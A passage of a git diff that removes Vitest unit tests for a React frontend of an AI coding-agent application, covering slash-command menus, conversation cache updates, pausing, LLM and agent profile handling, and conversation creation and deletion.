"#/contexts/active-backend-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; - -const mockSkills = vi.hoisted(() => ({ - data: undefined as unknown[] | undefined, - isLoading: false, -})); - -const mockConversation = vi.hoisted(() => ({ - data: undefined as { conversation_version?: "V0" | "V1" } | undefined, -})); - -vi.mock("#/hooks/query/use-skills", () => ({ - useSkills: () => mockSkills, -})); - -const mockLlmProfiles = vi.hoisted(() => ({ - data: undefined as - | { - profiles: Array<{ - name: string; - model: string | null; - base_url: string | null; - api_key_set: boolean; - }>; - active_profile: string | null; - } - | undefined, - isLoading: false, -})); - -vi.mock("#/hooks/query/use-conversation-skills", () => ({ - useConversationSkills: () => mockSkills, -})); - -vi.mock("#/hooks/query/use-llm-profiles", () => ({ - useLlmProfiles: () => mockLlmProfiles, -})); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => mockConversation, -})); - -function makeSkill( - name: string, - triggers: string[] = [], - type: "agentskills" | "knowledge" = "agentskills", -) { - return { name, type, content: `Description of ${name}`, triggers }; -} - -function makeChatInputRef() { - return { current: document.createElement("div") }; -} - -function setInputText(element: HTMLDivElement, text: string) { - element.textContent = text; - element.innerText = text; - document.body.appendChild(element); - - const textNode = element.firstChild; - if (!textNode) return; - - const range = document.createRange(); - const selection = window.getSelection(); - range.setStart(textNode, text.length); - range.collapse(true); - selection?.removeAllRanges(); - selection?.addRange(range); -} - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -describe("useSlashCommand", () => { - beforeEach(() => { - vi.clearAllMocks(); - mockSkills.data = undefined; - mockSkills.isLoading = false; - mockLlmProfiles.data = undefined; - mockLlmProfiles.isLoading = false; - mockConversation.data = undefined; - }); - - afterEach(() => { - document.body.innerHTML = ""; - window.localStorage.clear?.(); - __resetActiveStoreForTests(); - }); - - it("excludes /new from the built-in commands on a local backend", () => { - // Arrange — default active backend is the bundled local one. - mockConversation.data = { conversation_version: "V1" }; - mockSkills.data = [makeSkill("code-search", ["/code-search"])]; - - // Act - const ref = makeChatInputRef(); - const { result } = renderHook(() => useSlashCommand(ref)); - - // Assert - const commands = result.current.filteredItems.map((i) => i.command); - expect(commands).not.toContain("/new"); - expect(commands).toEqual(expect.arrayContaining(["/btw", "/code-search"])); - }); - - it("includes /new in the built-in commands on a cloud backend", () => { - // Arrange - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - mockConversation.data = { conversation_version: "V1" }; - mockSkills.data = []; - - const wrapper = ({ children }: { children: React.ReactNode }) => - React.createElement(ActiveBackendProvider, null, children); - - // Act - const ref = makeChatInputRef(); - const { result } = renderHook(() => useSlashCommand(ref), { wrapper }); - - // Assert - const commands = result.current.filteredItems.map((i) => i.command); - expect(commands).toContain("/new"); - }); - - it("suggests saved LLM profiles after /model on a local backend", () => { - // The active backend store is reset before each test, which restores the default local backend. - - mockSkills.data = []; - mockLlmProfiles.data = { - profiles: [ - { - name: "haiku", - model: "anthropic/claude-haiku-4-5", - base_url: null, - api_key_set: true, - }, - { - name: "gpt", - model: "openai/gpt-5.1", - base_url: null, - api_key_set: true, - }, - ], - active_profile: "haiku", - }; - - const ref = makeChatInputRef(); - setInputText(ref.current, "/model"); - - const { result } = renderHook(() => useSlashCommand(ref)); - - act(() => result.current.updateSlashMenu()); - - expect(result.current.isMenuOpen).toBe(true); - expect(result.current.filteredItems.map((i) => i.command)).toEqual([ - "/model haiku", - "/model gpt", - ]); - }); - - it("filters saved LLM profile suggestions by profile name or model", () => { - mockSkills.data = []; - mockLlmProfiles.data = { - profiles: [ - { - name: "haiku", - model: "anthropic/claude-haiku-4-5", - base_url: null, - api_key_set: true, - }, - { - name: "gpt", - model: "openai/gpt-5.1", - base_url: null, - api_key_set: true, - }, - ], - active_profile: null, - }; - - const ref = makeChatInputRef(); - setInputText(ref.current, "/model claude"); - - const { result } = renderHook(() => useSlashCommand(ref)); - - act(() => result.current.updateSlashMenu()); - - expect(result.current.filteredItems.map((i) => i.command)).toEqual([ - "/model haiku", - ]); - }); -}); diff --git a/__tests__/hooks/mutation/conversation-mutation-utils.test.ts b/__tests__/hooks/mutation/conversation-mutation-utils.test.ts deleted file mode 100644 index de45b1c4b..000000000 --- a/__tests__/hooks/mutation/conversation-mutation-utils.test.ts +++ /dev/null @@ -1,166 +0,0 @@ -/** - * Tests for patchConversationInCache and updateConversationExecutionStatusInCache - * in conversation-mutation-utils.ts. - * - * These functions are the mechanism that keeps the React Query cache in sync - * with optimistic UI updates after stop/resume mutations. The most critical - * invariant is that after pauseConversation succeeds the cache carries BOTH - * execution_status AND sandbox_status as "PAUSED" — if sandbox_status is not - * updated, WebSocketProviderWrapper's sandbox_status === "PAUSED" gate never - * fires and the WebSocket tries to connect to the dead sandbox. - */ - -import { QueryClient } from "@tanstack/react-query"; -import { describe, expect, it, beforeEach } from "vitest"; -import { - patchConversationInCache, - updateConversationExecutionStatusInCache, -} from "#/hooks/mutation/conversation-mutation-utils"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { ExecutionStatus } from "#/types/agent-server/core/base/common"; - -const CONV_ID = "conv-test-1"; - -const makeConversation = ( - overrides: Partial = {}, -): AppConversation => ({ - id: CONV_ID, - created_by_user_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: "Test conversation", - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - created_at: "2024-01-01T00:00:00Z", - updated_at: "2024-01-01T00:00:00Z", - execution_status: null, - conversation_url: "https://sandbox.example.com/api/conversations/conv-test-1", - session_api_key: "sess-key", - sandbox_id: "sbx-1", - sandbox_status: "RUNNING", - sub_conversation_ids: [], - ...overrides, -}); - -let queryClient: QueryClient; - -beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); -}); - -// ─── patchConversationInCache ───────────────────────────────────────────────── - -describe("patchConversationInCache", () => { - it("patches the single-item conversation cache", () => { - queryClient.setQueryData( - ["user", "conversation", CONV_ID], - makeConversation({ sandbox_status: "RUNNING" }), - ); - - patchConversationInCache(queryClient, CONV_ID, { sandbox_status: "PAUSED" }); - - const cached = queryClient.getQueryData([ - "user", - "conversation", - CONV_ID, - ]); - expect(cached?.sandbox_status).toBe("PAUSED"); - }); - - it("patches conversation inside the paginated list cache", () => { - queryClient.setQueryData(["user", "conversations"], { - pages: [{ items: [makeConversation({ sandbox_status: "RUNNING" })] }], - pageParams: [], - }); - - patchConversationInCache(queryClient, CONV_ID, { sandbox_status: "PAUSED" }); - - const list = queryClient.getQueryData<{ - pages: Array<{ items: AppConversation[] }>; - }>(["user", "conversations"]); - expect(list?.pages[0]?.items[0]?.sandbox_status).toBe("PAUSED"); - }); - - it("patches multiple fields atomically", () => { - queryClient.setQueryData( - ["user", "conversation", CONV_ID], - makeConversation({ - execution_status: ExecutionStatus.RUNNING, - sandbox_status: "RUNNING", - }), - ); - - patchConversationInCache(queryClient, CONV_ID, { - execution_status: ExecutionStatus.PAUSED, - sandbox_status: "PAUSED", - }); - - const cached = queryClient.getQueryData([ - "user", - "conversation", - CONV_ID, - ]); - expect(cached?.execution_status).toBe(ExecutionStatus.PAUSED); - expect(cached?.sandbox_status).toBe("PAUSED"); - }); - - it("does not modify other conversations in the list", () => { - const other = makeConversation({ - id: "conv-other", - sandbox_status: "RUNNING", - }); - queryClient.setQueryData(["user", "conversations"], { - pages: [{ items: [makeConversation(), other] }], - pageParams: [], - }); - - patchConversationInCache(queryClient, CONV_ID, { sandbox_status: "PAUSED" }); - - const list = queryClient.getQueryData<{ - pages: Array<{ items: AppConversation[] }>; - }>(["user", "conversations"]); - const otherCached = list?.pages[0]?.items.find((c) => c.id === "conv-other"); - expect(otherCached?.sandbox_status).toBe("RUNNING"); - }); - - it("is a no-op when the single-item cache is empty", () => { - // No query data seeded — should not throw. - expect(() => - patchConversationInCache(queryClient, CONV_ID, { sandbox_status: "PAUSED" }), - ).not.toThrow(); - }); -}); - -// ─── updateConversationExecutionStatusInCache (backwards compat wrapper) ───── - -describe("updateConversationExecutionStatusInCache", () => { - it("updates execution_status without disturbing sandbox_status", () => { - queryClient.setQueryData( - ["user", "conversation", CONV_ID], - makeConversation({ - execution_status: ExecutionStatus.RUNNING, - sandbox_status: "RUNNING", - }), - ); - - updateConversationExecutionStatusInCache( - queryClient, - CONV_ID, - ExecutionStatus.PAUSED, - ); - - const cached = queryClient.getQueryData([ - "user", - "conversation", - CONV_ID, - ]); - expect(cached?.execution_status).toBe(ExecutionStatus.PAUSED); - // sandbox_status must remain unchanged — this wrapper only touches execution_status - expect(cached?.sandbox_status).toBe("RUNNING"); - }); -}); diff --git a/__tests__/hooks/mutation/pause-conversation-local.test.ts b/__tests__/hooks/mutation/pause-conversation-local.test.ts deleted file mode 100644 index 17bafd83d..000000000 --- a/__tests__/hooks/mutation/pause-conversation-local.test.ts +++ /dev/null @@ -1,93 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { pauseConversation } from "#/hooks/mutation/conversation-mutation-utils"; -import { ExecutionStatus } from "#/types/agent-server/core/base/common"; - -const { interruptConversationMock } = vi.hoisted(() => ({ - interruptConversationMock: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ConversationClient: vi.fn(function ConversationClientMock() { - return { interruptConversation: interruptConversationMock }; - }), -})); - -const localBackend: Backend = { - id: "local", - name: "Local", - host: "http://localhost:18000", - apiKey: "test-key", - kind: "local", -}; - -const buildConversation = ( - overrides: Partial = {}, -): AppConversation => ({ - id: "conv-local-1", - created_by_user_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: "Test", - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - created_at: "2026-04-16T00:00:00Z", - updated_at: "2026-04-16T00:00:00Z", - execution_status: ExecutionStatus.RUNNING, - conversation_url: "http://localhost:18000", - session_api_key: "sess-key", - sandbox_id: null, - sub_conversation_ids: [], - ...overrides, -}); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - interruptConversationMock.mockReset(); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.restoreAllMocks(); -}); - -describe("pauseConversation local branch", () => { - it("calls interruptConversation on the local agent server", async () => { - vi.spyOn( - AgentServerConversationService, - "batchGetAppConversations", - ).mockResolvedValue([buildConversation()]); - interruptConversationMock.mockResolvedValue({ success: true }); - - await pauseConversation("conv-local-1"); - - expect(interruptConversationMock).toHaveBeenCalledOnce(); - expect(interruptConversationMock).toHaveBeenCalledWith("conv-local-1"); - }); - - it("propagates errors from interruptConversation", async () => { - vi.spyOn( - AgentServerConversationService, - "batchGetAppConversations", - ).mockResolvedValue([buildConversation()]); - interruptConversationMock.mockRejectedValue(new Error("interrupt failed")); - - await expect(pauseConversation("conv-local-1")).rejects.toThrow( - "interrupt failed", - ); - }); -}); diff --git a/__tests__/hooks/mutation/use-activate-llm-profile.test.tsx b/__tests__/hooks/mutation/use-activate-llm-profile.test.tsx deleted file mode 100644 index 818374295..000000000 --- a/__tests__/hooks/mutation/use-activate-llm-profile.test.tsx +++ /dev/null @@ -1,111 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import { useActivateLlmProfile } from "#/hooks/mutation/use-activate-llm-profile"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - LLM_PROFILES_QUERY_KEYS, - SETTINGS_QUERY_KEYS, -} from "#/hooks/query/query-keys"; - -vi.mock("#/api/profiles-service/profiles-service.api", () => ({ - default: { - activateProfile: vi.fn(), - }, -})); - -describe("useActivateLlmProfile", () => { - beforeEach(() => { - vi.clearAllMocks(); - SettingsService.invalidateCache(); - }); - - it("calls activateProfile and invalidates all relevant caches on success", async () => { - const mockActivateProfile = vi.mocked(ProfilesService.activateProfile); - mockActivateProfile.mockResolvedValue({ - name: "my-profile", - message: "Profile activated", - llm_applied: true, - }); - - const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache"); - - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - - const invalidateQueriesSpy = vi.spyOn(queryClient, "invalidateQueries"); - - const { result } = renderHook(() => useActivateLlmProfile(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - // Trigger the mutation - result.current.mutate("my-profile"); - - // Wait for the mutation to complete - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - // Verify activateProfile was called with the correct name - expect(mockActivateProfile).toHaveBeenCalledWith("my-profile"); - - // Verify all cache invalidations occur on success - expect(invalidateCacheSpy).toHaveBeenCalled(); - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: SETTINGS_QUERY_KEYS.personal(), - }); - - invalidateCacheSpy.mockRestore(); - invalidateQueriesSpy.mockRestore(); - }); - - it("does not invalidate cache on activation failure", async () => { - const mockActivateProfile = vi.mocked(ProfilesService.activateProfile); - mockActivateProfile.mockRejectedValue(new Error("Profile not found")); - - // Create spy after beforeEach invalidation - const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache"); - - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - - const { result } = renderHook(() => useActivateLlmProfile(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - // Trigger the mutation - result.current.mutate("nonexistent-profile"); - - // Wait for the mutation to fail - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - - // invalidateCache should NOT have been called on failure - // (onSuccess is not called when mutation fails) - expect(invalidateCacheSpy).not.toHaveBeenCalled(); - - invalidateCacheSpy.mockRestore(); - }); -}); diff --git a/__tests__/hooks/mutation/use-create-conversation.test.tsx b/__tests__/hooks/mutation/use-create-conversation.test.tsx deleted file mode 100644 index 0b4e2cb9a..000000000 --- a/__tests__/hooks/mutation/use-create-conversation.test.tsx +++ /dev/null @@ -1,566 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { useCreateConversation } from "#/hooks/mutation/use-create-conversation"; -import { SuggestedTask } from "#/utils/types"; -import { - getStoredConversationMetadata, - removeStoredConversationMetadata, -} from "#/api/conversation-metadata-store"; - -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackConversationCreated: vi.fn(), - }), -})); - -// The default→agent_settings downgrade is local-only (#1571 review); default -// to local so the existing (pre-review) assertions below are unaffected, and -// override per-test to exercise the cloud path. -interface MockActiveBackend { - backend: { id: string; kind: "local" | "cloud" }; - orgId: string | null; -} -const mockUseActiveBackend = vi.fn<() => MockActiveBackend>(() => ({ - backend: { id: "local-1", kind: "local" }, - orgId: null, -})); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => mockUseActiveBackend(), -})); - -// The hook stamps the active LLM profile onto the conversation (#1082). -// Mock it so the captured value is deterministic — the real hook fires a -// query the global MSW layer would answer non-deterministically under test -// timing. -const { useLlmProfilesMock } = vi.hoisted(() => ({ - useLlmProfilesMock: vi.fn(() => ({ - data: { active_profile: null as string | null }, - })), -})); -vi.mock("#/hooks/query/use-llm-profiles", () => ({ - useLlmProfiles: () => useLlmProfilesMock(), -})); - -// The hook warms the agent-profiles cache; the launch path itself awaits the -// list via ensureQueryData (so it can't race a cold cache). Mock the hook to a -// no-op and drive launches through the service mock below. -vi.mock("#/hooks/query/use-agent-profiles", () => ({ - useAgentProfiles: () => ({ data: undefined }), -})); - -// The launch path resolves the active AgentProfile by awaiting -// `AgentProfilesService.listProfiles` through the query cache (#3727). -// Default: no active profile, so a plain create stays on the legacy path. -const { listAgentProfilesMock } = vi.hoisted(() => ({ - listAgentProfilesMock: vi.fn(), -})); -vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({ - __esModule: true, - default: { listProfiles: listAgentProfilesMock }, - WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME: "default", -})); -listAgentProfilesMock.mockResolvedValue({ - profiles: [], - active_agent_profile_id: null, -}); - -// LLM-profile service: real listProfiles calls (the llmProfileExists -// validation — see use-create-conversation.ts) so it can be asserted per-test. -const listLlmProfilesMock = vi.fn(); -vi.mock("#/api/profiles-service/profiles-service.api", () => ({ - __esModule: true, - default: { - listProfiles: (...args: unknown[]) => listLlmProfilesMock(...args), - }, -})); -listLlmProfilesMock.mockResolvedValue({ profiles: [], active_profile: null }); - -describe("useCreateConversation", () => { - afterEach(() => { - // Restore the default (no active AgentProfile) so the overrides below - // don't leak into the other create-call assertions. - mockUseActiveBackend.mockReturnValue({ - backend: { id: "local-1", kind: "local" as const }, - orgId: null, - }); - listAgentProfilesMock.mockReset(); - listAgentProfilesMock.mockResolvedValue({ - profiles: [], - active_agent_profile_id: null, - }); - listLlmProfilesMock.mockReset(); - listLlmProfilesMock.mockResolvedValue({ - profiles: [], - active_profile: null, - }); - useLlmProfilesMock.mockReturnValue({ data: { active_profile: null } }); - removeStoredConversationMetadata("conv-with-plugins"); - removeStoredConversationMetadata("conv-ref-stamp"); - }); - - it("passes suggested tasks to the V1 create conversation API", async () => { - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: null, - agent_server_url: "http://agent-server.local", - request: { - initial_message: { - role: "user", - content: [{ type: "text", text: "Please address the comments" }], - }, - processors: [], - llm_model: null, - selected_repository: null, - selected_branch: null, - git_provider: "github", - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default", - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - const suggestedTask: SuggestedTask = { - git_provider: "github", - issue_number: 42, - repo: "owner/repo", - title: "Resolve comments", - task_type: "UNRESOLVED_COMMENTS", - }; - - await result.current.mutateAsync({ - query: "Please address the comments", - repository: { - name: "owner/repo", - gitProvider: "github", - branch: "main", - }, - conversationInstructions: "Focus on review comments", - suggestedTask, - }); - - await waitFor(() => { - expect(createConversationSpy).toHaveBeenCalledWith( - "Please address the comments", - "Focus on review comments", - undefined, - { - selected_repository: "owner/repo", - selected_branch: "main", - git_provider: "github", - }, - undefined, - undefined, - undefined, - undefined, - ); - }); - }); - - it("launches new local conversations from the active AgentProfile (#3727)", async () => { - listAgentProfilesMock.mockResolvedValue({ - profiles: [], - active_agent_profile_id: "profile-abc", - }); - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - app_conversation_id: "conv-1", - agent_server_url: "http://agent-server.local", - } as never); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await result.current.mutateAsync({ query: "hello" }); - - await waitFor(() => { - // sandboxId (#9) is undefined; the active profile id rides as #10. - const call = createConversationSpy.mock.lastCall; - expect(call?.[8]).toBeUndefined(); - expect(call?.[9]).toBe("profile-abc"); - }); - }); - - it("awaits the profiles fetch so an early send still launches from the active profile", async () => { - // A send fired before the home profiles query resolves must block on the - // fetch, not fall through to the agent_settings path (#1571 review F2). - let resolveList: (value: unknown) => void = () => {}; - listAgentProfilesMock.mockReturnValue( - new Promise((resolve) => { - resolveList = resolve; - }), - ); - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - app_conversation_id: "conv-1", - agent_server_url: "http://agent-server.local", - } as never); - // Spies persist across tests in this file; drop earlier calls so the - // not-yet-called assertion below sees only this launch. - createConversationSpy.mockClear(); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - const pending = result.current.mutateAsync({ query: "hello" }); - expect(createConversationSpy).not.toHaveBeenCalled(); - - resolveList({ profiles: [], active_agent_profile_id: "profile-late" }); - await pending; - - const call = createConversationSpy.mock.lastCall; - expect(call?.[9]).toBe("profile-late"); - }); - - it("falls back to the agent_settings launch when the profiles fetch fails", async () => { - listAgentProfilesMock.mockRejectedValue(new Error("not supported")); - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - app_conversation_id: "conv-1", - agent_server_url: "http://agent-server.local", - } as never); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - // Resolves without stalling: the launch-path fetch is retry: false. - await result.current.mutateAsync({ query: "hello" }); - - // No profile tail — the create stays on the legacy agent_settings path. - const call = createConversationSpy.mock.lastCall; - expect(call?.[9]).toBeUndefined(); - }); - - it("invalidates the conversation list and start-tasks queries on success", async () => { - vi.spyOn( - AgentServerConversationService, - "createConversation", - ).mockResolvedValue({ - id: "task-id", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "conv-1", - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: null, - selected_branch: null, - git_provider: "github", - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default", - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }); - - const queryClient = new QueryClient(); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await result.current.mutateAsync({}); - - await waitFor(() => { - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversations"], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["start-tasks"], - }); - }); - }); - - it("persists explicitly-attached plugins (coordinates only) to conversation metadata at creation", async () => { - vi.spyOn( - AgentServerConversationService, - "createConversation", - ).mockResolvedValue({ - id: "task-id", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "conv-with-plugins", - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: null, - selected_branch: null, - git_provider: "github", - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default", - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await result.current.mutateAsync({ - plugins: [ - { - source: "github:o/a", - ref: null, - repo_path: "plugins/a", - parameters: { token: "secret" }, - }, - ], - }); - - await waitFor(() => - expect( - getStoredConversationMetadata("conv-with-plugins")?.plugins, - ).toEqual([{ source: "github:o/a", ref: null, repo_path: "plugins/a" }]), - ); - }); - - it("launches the seeded `default` profile via agent_settings so canvas enrichments survive", async () => { - // The active profile IS the well-known default → it's the enriched baseline - // (mirrors agent_settings), not a deliberate profile pick, so the launch - // stays on the agent_settings path (no profile tail) even though its - // llm_profile_ref resolves. Keeps and project skills, - // which the profile-resolution path drops. - listAgentProfilesMock.mockResolvedValue({ - profiles: [ - { - id: "profile-default", - name: "default", - agent_kind: "openhands", - revision: 1, - llm_profile_ref: "gpt", - mcp_server_refs: null, - }, - ], - active_agent_profile_id: "profile-default", - }); - listLlmProfilesMock.mockResolvedValue({ - profiles: [{ name: "gpt" }], - active_profile: "gpt", - }); - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - app_conversation_id: "conv-1", - agent_server_url: "http://agent-server.local", - } as never); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await result.current.mutateAsync({ query: "hello" }); - - const call = createConversationSpy.mock.lastCall; - expect(call?.[9]).toBeUndefined(); - }); - - it("keeps the profile path for an ACP `default` profile (agent_settings can't carry ACP config)", async () => { - // The default→agent_settings shortcut is OpenHands-only: activation is - // pointer-only, so global agent_settings is stale (still OpenHands) for an - // active ACP profile — routing it via agent_settings would launch the wrong - // agent. An ACP `default` must resolve server-side via agent_profile_id. - listAgentProfilesMock.mockResolvedValue({ - profiles: [ - { - id: "profile-acp-default", - name: "default", - agent_kind: "acp", - revision: 1, - llm_profile_ref: null, - mcp_server_refs: null, - }, - ], - active_agent_profile_id: "profile-acp-default", - }); - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - app_conversation_id: "conv-1", - agent_server_url: "http://agent-server.local", - } as never); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await result.current.mutateAsync({ query: "hello" }); - - const call = createConversationSpy.mock.lastCall; - expect(call?.[9]).toBe("profile-acp-default"); - expect(call?.[10]).toBe("acp"); - }); - - it("launches the seeded `default` profile from its resolved id on cloud (no agent_settings fallback exists there) (#1571)", async () => { - // The local-only downgrade exists to preserve canvas-only enrichments that - // only ride the agent_settings path; cloud has no such payload, so the - // seeded `default` must always launch via agent_profile_id there — a - // downgrade there would send agent_profile_id: null and the conversation - // would never get `launched_agent_profile` stamped. - mockUseActiveBackend.mockReturnValue({ - backend: { id: "cloud-1", kind: "cloud" }, - orgId: null, - }); - listAgentProfilesMock.mockResolvedValue({ - profiles: [ - { - id: "profile-default", - name: "default", - agent_kind: "openhands", - revision: 1, - llm_profile_ref: "gpt", - mcp_server_refs: null, - }, - ], - active_agent_profile_id: "profile-default", - }); - listLlmProfilesMock.mockResolvedValue({ - profiles: [{ name: "gpt" }], - active_profile: "gpt", - }); - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - app_conversation_id: "conv-1", - agent_server_url: "http://agent-server.local", - } as never); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await result.current.mutateAsync({ query: "hello" }); - - const call = createConversationSpy.mock.lastCall; - expect(call?.[9]).toBe("profile-default"); - }); - - it("stamps the launched openhands profile's llm_profile_ref into conversation metadata (#1082)", async () => { - // A named (non-default) profile launches via the profile path and runs its - // own llm_profile_ref — which differs from the standalone active LLM - // profile — so the switcher pill must name the ref, not the active profile. - useLlmProfilesMock.mockReturnValue({ - data: { active_profile: "standalone-active" }, - }); - listAgentProfilesMock.mockResolvedValue({ - profiles: [ - { - id: "profile-custom", - name: "My Profile", - agent_kind: "openhands", - revision: 2, - llm_profile_ref: "claude", - mcp_server_refs: null, - }, - ], - active_agent_profile_id: "profile-custom", - }); - listLlmProfilesMock.mockResolvedValue({ - profiles: [{ name: "claude" }], - active_profile: "standalone-active", - }); - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-id", - app_conversation_id: "conv-ref-stamp", - agent_server_url: "http://agent-server.local", - } as never); - - const { result } = renderHook(() => useCreateConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await result.current.mutateAsync({ query: "hello" }); - - const call = createConversationSpy.mock.lastCall; - expect(call?.[9]).toBe("profile-custom"); - await waitFor(() => - expect( - getStoredConversationMetadata("conv-ref-stamp")?.active_profile, - ).toBe("claude"), - ); - }); -}); diff --git a/__tests__/hooks/mutation/use-delete-conversation.test.tsx b/__tests__/hooks/mutation/use-delete-conversation.test.tsx deleted file mode 100644 index 8360f28cc..000000000 --- a/__tests__/hooks/mutation/use-delete-conversation.test.tsx +++ /dev/null @@ -1,69 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi } from "vitest"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { useDeleteConversation } from "#/hooks/mutation/use-delete-conversation"; - -describe("useDeleteConversation", () => { - it("invalidates the conversation list and start-tasks queries on settle", async () => { - vi.spyOn( - AgentServerConversationService, - "deleteConversation", - ).mockResolvedValue(undefined); - - const queryClient = new QueryClient(); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - - const { result } = renderHook(() => useDeleteConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await result.current.mutateAsync({ conversationId: "conv-1" }); - - await waitFor(() => { - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversations"], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["start-tasks"], - }); - }); - }); - - it("still invalidates both queries when the delete request fails", async () => { - vi.spyOn( - AgentServerConversationService, - "deleteConversation", - ).mockRejectedValue(new Error("boom")); - - const queryClient = new QueryClient({ - defaultOptions: { mutations: { retry: false } }, - }); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - - const { result } = renderHook(() => useDeleteConversation(), { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await expect( - result.current.mutateAsync({ conversationId: "conv-1" }), - ).rejects.toThrow("boom"); - - await waitFor(() => { - 